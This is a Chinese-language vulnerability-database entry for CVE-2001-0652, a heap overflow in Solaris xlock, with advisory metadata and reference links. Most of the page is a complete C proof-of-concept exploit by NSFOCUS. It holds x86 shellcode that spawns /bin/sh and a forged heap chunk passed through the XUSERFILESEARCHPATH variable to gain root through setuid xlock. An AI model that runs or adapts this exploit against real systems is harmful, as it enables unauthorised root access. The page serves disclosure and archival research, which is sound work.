Solaris xlock堆溢出漏洞

Solaris xlock堆溢出漏洞

漏洞ID 1106463 漏洞类型 缓冲区溢出
发布时间 2001-08-10 更新时间 2005-05-02
图片[1]-Solaris xlock堆溢出漏洞-安全小百科CVE编号 CVE-2001-0652
图片[2]-Solaris xlock堆溢出漏洞-安全小百科CNNVD-ID CNNVD-200110-126
漏洞平台 Solaris CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/21059
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200110-126
|漏洞详情
Solaris2.6版本到8版本的xlock存在堆溢出漏洞。本地用户可以借助超长(1)XFILESEARCHPATH或(2)XUSERFILESEARCHPATH环境变量提升根特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/3160/info
 
Xlock is a utility for locking X-windows displays. It is installed setuid root because it uses the user's password to authorize access to the display when it is locked.
 
The version of xlock that ships with Solaris as part of OpenWindows contains a heap overflow in it's handling of an environment variable.
 
Local attackers may be able to execute arbitrary code with effective privileges of xlock. 

/*
 *  sol_x86_xlockex.c - Proof of Concept Code for xlock heap overflow bug.
 *  Copyright (c) 2001 - Nsfocus.com
 *
 *  Tested in Solaris 8 x86.
 *
 *  DISCLAIMS:
 *  This  is a proof of concept code.  This code is for test purpose 
 *  only and should not be run against any host without permission from 
 *  the system administrator.
 * 
 *  NSFOCUS Security Team <[email protected]>
 *  http://www.nsfocus.com
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <strings.h>
#include <sys/types.h>

#define RETLOC  0x080463c8  /* default retrun address location (Solaris 8 x86) */
#define SP      0x08047ffc  /* default "bottom" stack address (Solaris 8 x86) */

#define VULPROG "/usr/openwin/bin/xlock"

char            shellcode[] =           
"x90x90x90x90x90x90x90x90x90x90x90x90" 
"xebx28x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90"
"x8bxecx83xecx64x33xd2xc6x45xcex9ax89"
"x55xcfx89x55xd3xc6x45xd3x07xc6x45xd5"
"xc3x89x55xfcx83xedx32x33xc0x50x50xb0"
"xcaxffxd5x83xc4x08x31xc0x50x68x2fx2f"
"x73x68x68x2fx62x69x6ex89xe3x50x53x89"
"xe2x50x52x53xb0x3bxffxd5";

int 
main(int argc, char **argv)
{
        char            buf[2048], fake_chunk[48];
        long            retaddr, sp_addr = SP;
        char           *arg[24], *env[24];
        long            retloc = RETLOC;
        unsigned int   *ptr;
        char            ev1[]="XUSERFILESEARCHPATH=";
        long            ev1_len;
        long            overbuflen = 1024;        

        if (argc > 1) /* adjust retloc */
                retloc += atoi(argv[1]);

        bzero(buf, sizeof(buf));
        ev1_len = strlen(ev1);
        memcpy(buf, ev1, ev1_len);
        memset(buf + ev1_len, 'A', overbuflen + sizeof(fake_chunk));

        arg[0] = VULPROG;
        arg[1] = NULL;

        env[0] = shellcode;     /* put shellcode in env */
        env[1] = buf;           /* put overflow environ */
        env[2] = NULL;          /* end of env */
        
        /* get the not exact shellcode address :) */
        retaddr = sp_addr - strlen(VULPROG) - 1
                          - strlen("i86pc") - 1 
                          - strlen(buf) - 1
                          - strlen(shellcode) - 1;

        printf("Using RET address = 0x%lxn", retaddr);
        printf("Using retloc = 0x%lx n", retloc);

        ptr = (unsigned int *) fake_chunk;
        memset(fake_chunk, 'xff', sizeof(fake_chunk));
        *(ptr + 0) = 0xfffffff9;
        *(ptr + 2) = retaddr;
        *(ptr + 8) = retloc - 8;

        memcpy(buf + ev1_len + overbuflen, fake_chunk, sizeof(fake_chunk));

        execve(VULPROG, arg, env);
        perror("execle");
        return(1);
}  /* End of main */
|参考资料

来源:BUGTRAQ
名称:20010810NSFOCUSSA2001-05:SolarisXlockHeapOverflowVulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=99745571104126&w;=2
来源:XF
名称:solaris-xlock-bo(6967)
链接:http://xforce.iss.net/static/6967.php
来源:BID
名称:3160
链接:http://www.securityfocus.com/bid/3160
来源:USGovernmentResource:oval:org.mitre.oval:def:131
名称:oval:org.mitre.oval:def:131
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:131
来源:USGovernmentResource:oval:org.mitre.oval:def:10
名称:oval:org.mitre.oval:def:10
链接:http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:10

相关推荐: I-gear漏洞

I-gear漏洞 漏洞ID 1206210 漏洞类型 未知 发布时间 2000-12-11 更新时间 2000-12-11 CVE编号 CVE-2000-1007 CNNVD-ID CNNVD-200012-022 漏洞平台 N/A CVSS评分 5.0 |漏…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享